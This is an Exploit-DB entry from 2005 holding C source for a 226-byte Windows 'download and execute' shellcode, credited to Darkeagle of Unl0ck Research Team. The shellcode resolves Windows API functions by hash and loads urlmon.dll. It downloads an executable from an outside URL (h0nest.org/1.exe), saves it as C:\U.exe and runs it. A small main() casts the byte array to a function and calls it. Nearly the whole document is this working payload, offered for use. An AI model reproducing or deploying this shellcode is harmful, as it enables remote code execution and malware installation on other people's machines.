win32 Download & Exec Shellcode 226 bytes+



EDB-ID: 13522 CVE: N/A OSVDB-ID: N/A
Author: darkeagle Published: 2005-12-23 Verified: Verified
Exploit Code:   Download Vulnerable App:   N/A

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/*
\    ______________________WIN_SHELLCODE__________________________
/ :: win32 download & exec shellcode                              ::
\ :: by Darkeagle of Unl0ck Research Team [http://exploiterz.org] ::
/ :: to avoid 0x00 use ^^xor^^ }:>                                ::
\ :: greets goes to: Sowhat, 0x557 guys, 55k7 guys, RST/GHC guys. ::
/ ::_____________________________cya______________________________::
\
*/


#include <stdio.h>
#include <string.h>

unsigned char sh4llcode[] =
"\xEB\x54\x8B\x75\x3C\x8B\x74\x35\x78\x03\xF5\x56\x8B\x76\x20\x03"
"\xF5\x33\xC9\x49\x41\xAD\x33\xDB\x36\x0F\xBE\x14\x28\x38\xF2\x74"
"\x08\xC1\xCB\x0D\x03\xDA\x40\xEB\xEF\x3B\xDF\x75\xE7\x5E\x8B\x5E"
"\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5E\x1C\x03\xDD\x8B\x04\x8B\x03"
"\xC5\xC3\x75\x72\x6C\x6D\x6F\x6E\x2E\x64\x6C\x6C\x00\x43\x3A\x5C"
"\x55\x2e\x65\x78\x65\x00\x33\xC0\x64\x03\x40\x30\x78\x0C\x8B\x40"
"\x0C\x8B\x70\x1C\xAD\x8B\x40\x08\xEB\x09\x8B\x40\x34\x8D\x40\x7C"
"\x8B\x40\x3C\x95\xBF\x8E\x4E\x0E\xEC\xE8\x84\xFF\xFF\xFF\x83\xEC"
"\x04\x83\x2C\x24\x3C\xFF\xD0\x95\x50\xBF\x36\x1A\x2F\x70\xE8\x6F"
"\xFF\xFF\xFF\x8B\x54\x24\xFC\x8D\x52\xBA\x33\xDB\x53\x53\x52\xEB"
"\x24\x53\xFF\xD0\x5D\xBF\x98\xFE\x8A\x0E\xE8\x53\xFF\xFF\xFF\x83"
"\xEC\x04\x83\x2C\x24\x62\xFF\xD0\xBF\x7E\xD8\xE2\x73\xE8\x40\xFF"
"\xFF\xFF\x52\xFF\xD0\xE8\xD7\xFF\xFF\xFF"
"http://h0nest.org/1.exe";

int main()
{

 void (*c0de)();
 printf("Win32 \"download & exec shellcode\"\n");
 *(int*)&c0de = sh4llcode;
 c0de();
}

// milw0rm.com [2005-12-23]